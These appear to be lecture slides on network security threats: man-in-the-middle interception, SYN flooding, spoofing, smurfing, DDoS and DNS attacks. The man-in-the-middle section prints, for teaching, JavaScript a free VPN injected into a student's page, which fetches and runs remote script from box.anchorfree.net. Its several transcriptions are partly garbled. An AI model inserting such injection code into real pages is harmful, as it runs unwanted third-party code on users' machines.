Network Security Threats

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First, some news
Internet attacks and defenses

1. Someone finds an exploit
2. Exploit seen in the wild, possibly to large effect
3. Short-term workarounds; specific detection/recovery
4. Proper repairs to software or protocols are issued
5. Over time, most sites implement repairs
6. Remaining sites may be black-listed
Syria going offline – November 2012

- Going offline: [https://player.vimeo.com/video/54630937](https://player.vimeo.com/video/54630937)
- Going online: [https://player.vimeo.com/video/54670123](https://player.vimeo.com/video/54670123)
Each number is a network run by a single group.

Each colored line is the current shortest path between two networks. All lines on this graph connect Syria to other parts of the world.

Syria’s network, directly connected to three other networks.

Paths shift all the time. This is normal on the internet as the current shortest path is dynamically negotiated (BGP routing).
Syria going offline – November 2012

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Types of threats

- **Interception** – Unauthorized viewing of information (Confidentiality)
- **Modification** – Unauthorized changing of information (Integrity)
- **Fabrication** – Unauthorized creation of information (Integrity)
- **Interruption** – Preventing authorized access (Availability)
Today we will focus on:

- Man in the middle
- Denial of service
- DNS attack
Man in the middle
Your Computer

The Internet

Website Server

Alice

Bob

Charlie
• Charlie is in the middle between Alice and Bob.
• Charlie can:
  ◦ View traffic
  ◦ Change traffic
  ◦ Add traffic
  ◦ Delete traffic

• Charlie could be:
  ◦ Internet service provider
  ◦ Virtual Private Network (VPN) provider
  ◦ WIFI provider such as a coffee shop
  ◦ An attacker re-routing your connection
  ◦ An incompetent admin (it happens)
The following is an attack that actually happened to a student of mine when they were trying to download/upload their “set a cookie” homework using a free VPN.
<html>
<head>
<title>Basic web page</title>
<link href="http://vaniea.com/teaching/privacyToday/basic.css" rel="stylesheet" type="text/css"/>
<script>
    document.cookie="username=John Doe;";
</script>
</head>
<body>
THIS TEXT HAS BEEN CHANGED.
</body>
</html>
**Correct Answer**

```
<html>
<head>
  <title>Basic web page</title>
  <link href="http://vaniea.com/teaching/privacyToday/basic.css" rel="stylesheet" type="text/css"/>
  <script>
    document.cookie="username=John Doe;";
  </script>
</head>
<body>
  THIS TEXT HAS BEEN CHANGED.
</body>
</html>
```

**Attacked Answer**

```
<html>
<head>
  <title>Basic web page</title>
  <link href="http://vaniea.com/teaching/privacyToday/basic.css" rel="stylesheet" type="text/css"/>
  <script>
    document.cookie="username=John Doe;";
  </script>
</head>
<body><script type='text/javascript'>ANCHORFREE_VERSION="633161526"</script><script type='text/javascript'>var _AF2$ = {
'SN': 'HSSHIELD00US', 'IP': '216.172.135.223', 'CH': 'HSSCNL000550', 'CT': 'z51', 'HST': '&sessStartTime=1422651433&accessLP=1'; 'AFH': 'hss734', 'RN': Math.floor(Math.random() * 999), 'TOP': (parent.location != document.location || top.location != document.location) ? 0 : 1; 'AFVER': '3.42', 'fbw': false, 'FBWCNT': 0, 'FBWCNTNAME': 'FBWCNT_FIREFOX', 'NOFBWNAME': 'NO_FBW_FIREFOX', 'B': 'f', 'VER': 'us'; if(_AF2$.TOP==1){document.write("<scr"+"ipt src='http://box.anchorfree.net/insert/insert.php?sn=+_AF2$.SN+"&ch=+_AF2$.CH+"&v=+_ANCHORFREE_VERSION+6+"&b=+_AF2$.B+"&ver=+_AF2$.VER+"&afver=+_AF2$.AFVER+" type='text/javascript'"</scr"+"ipt">";})</script>
  THIS TEXT HAS BEEN CHANGED.
</body>
</html>
```
Basic web page

document.cookie="username=John Doe;";

THIS TEXT HAS BEEN CHANGED.

Correct Answer

Attacked Answer
ANCHORFREE_VERSION="633161526";
var _AF2$ =
{"SN":"HSSHIELD00US","IP":"216.172.135.223","CH":"HSSCNL000550","C T":"z51","HST":"&sessStartTime=1422651433&accessLP=1","AFH":"hss7 34","RN":Math.floor(Math.random()*999),"TOP":(parent.location!=do
cument.location || top.location!=document.location)?0:1,"AFVER":"3. 42","fbw":false,"FBWCNT":0,"FBWCNTNAME":"FBWCNT_FIREFOX","NO
FBWNAME":"NO_FBW_FIREFOX","B":"f","VER":
'us'};if(_AF2$.TOP==1){document.write("<sc""ipt
src='http://box.anchorfree.net/insert/insert.php?sn="+_AF2$.SN+"&ch="+_AF2$.CH+'
v="+ANCHORFREE_VERSION+6+"&b="+_AF2$. B+"&ver="+_AF2$.VER+"&afver="+_AF2$.AFVER+"
type='text/javascript'>"</sc""ipt>");}
ANCHORFREE_VERSION="633161526";
var _AF2$ =
{'SN':'HSSHIELD00US','IP':'216.172.135.223','CH':'HSSCNL000550','CT':'z51','HST':"&sessStartTime=1422651433&accessLP=1'AFH':'hss734','RN':Math.floor(Math.random()*999),TOP':(parent.location!=document.location || top.location!=document.location)?0:1,'AFVER':'3.42','fbw':false,'FBWCNT':0,'FBWCNTNAME':'FBWCNT_FIREFOX','NOFBWNAME':"NO_FBW_FIREFOX",B:'f','VER':"us"};if(_AF2$.TOP==1){document.write("<scr"+"ipt src='http://box.anchorfree.net/insert/insert.php?sn="+_AF2$.SN+"&ch="+_AF2$.CH+"&v="+ANCHORFREE_VERSION+6+"&b="+_AF2$.B+"&ver="+_AF2$.VER+"&afver="+_AF2$.AFVER+" type='text/javascript'"></scr"+"ipt>");}
This code is downloading more javascript from box.anchorfree.net and running it on the client.

document.write("<scr"+"ipt
?type='text/javascript'></scr"+"ipt>");
Here Be Dragons

Your Computer

The Internet

Website Server
Denial of Service
Denial of Service (DoS)

An attack that prevents valid users from accessing a service.

Common examples:
- Cutting power, cables, etc.
- Overloading a server with invalid traffic
- Removing a user account

Attacks:
- SYN flooding
- Spoofing
- Smurfing
Syria is network 29386 in the center
An example network

Attacker

The Internet

British Telecom

Verizon

Level Three

Victim Server
SYN Flooding

Send tons of requests at the victim and overload them.

• Basic three-part handshake used by Alice to initiate a TCP connection with Bob.

\[
A \rightarrow B : \text{ SYN, } X \\
B \rightarrow A : \text{ ACK, } X + 1; \text{ SYN, } Y \\
A \rightarrow B : \text{ ACK, } Y + 1
\]

• Alice sends many SYN packets, without acknowledging any replies. Bob accumulates more SYN packets than he can handle.
SYN flood example

<table>
<thead>
<tr>
<th>Connection</th>
<th>Sequence</th>
<th>IP</th>
</tr>
</thead>
<tbody>
<tr>
<td>Connection 1</td>
<td>57</td>
<td>1.1.1.1</td>
</tr>
</tbody>
</table>
SYN flood example

- Attacker sends SYN and ignores ACK
- Victim must maintain state

<table>
<thead>
<tr>
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<th>Sequence</th>
<th>IP</th>
</tr>
</thead>
<tbody>
<tr>
<td>Connection 1</td>
<td>57</td>
<td>1.1.1.1</td>
</tr>
<tr>
<td>Connection 2</td>
<td>452</td>
<td>1.1.1.1</td>
</tr>
<tr>
<td>Connection 3</td>
<td>765</td>
<td>1.1.1.1</td>
</tr>
<tr>
<td>Connection 4</td>
<td>2</td>
<td>1.1.1.1</td>
</tr>
<tr>
<td>Connection 5</td>
<td>546</td>
<td>1.1.1.1</td>
</tr>
<tr>
<td>Connection 6</td>
<td>97</td>
<td>1.1.1.1</td>
</tr>
<tr>
<td>Connection 7</td>
<td>56</td>
<td>1.1.1.1</td>
</tr>
<tr>
<td>Connection 8</td>
<td>15</td>
<td>1.1.1.1</td>
</tr>
</tbody>
</table>
SYN Flooding

• Problems
  ◦ Attribution – attacker users their own IP which could be traced
  ◦ Bandwidth – attacker users their own bandwidth which is likely smaller than a server’s

• Effective against a small target
  ◦ Someone running a game server in their home

• Not effective against a large target
  ◦ Company website
Spoofing: forged TCP packets

• Same as SYN flooding, but forge the source of the TCP packet
• Advantages:
  ◦ Harder to trace
  ◦ ACKs are sent to a second computer, less attacker bandwidth used
• Problems:
  ◦ Ingress filtering is commonly used to drop packets with source addresses outside their origin network fragment.
Smurfing (directed broadcast)

- The smurfing attack exploits the ICMP (Internet Control Message Protocol) whereby remote hosts respond to echo packets to say they are alive (ping).
- Some implementations respond to pings to broadcast addresses.
- Idea: Ping a LAN to find hosts, which then all respond to the ping.
- Attack: make a packet with a forged source address containing the victim’s IP number. Send it to a smurf amplifier, who swamp the target with replies.
Smurfing example

- Attacker sends 1 ping which is sent to every node on the LAN
Smurfing example

- Each node responds to victim
LANs that allow Smurf attacks are badly configured. One approach is to blacklist these LANs.
Distributed Denial of Service (DDoS)

A large number of machines work together to perform an attack that prevents valid users from accessing a service.

Common examples:

- Slashdot effect – a large number of valid users all try and access at once.
- Botnets
- Amazon web services
DNS attacks
Domain Name Service (DNS)

• The DNS service translates human friendly URLs such as http://vaniea.com to their IP address such as 69.163.145.230.
• Mappings between URLs and IPs are not static.
• One domain, such as google.com, may have many IP addresses associated with it.
• One way to get in the middle or deny access is to change a DNS entry record.
Questions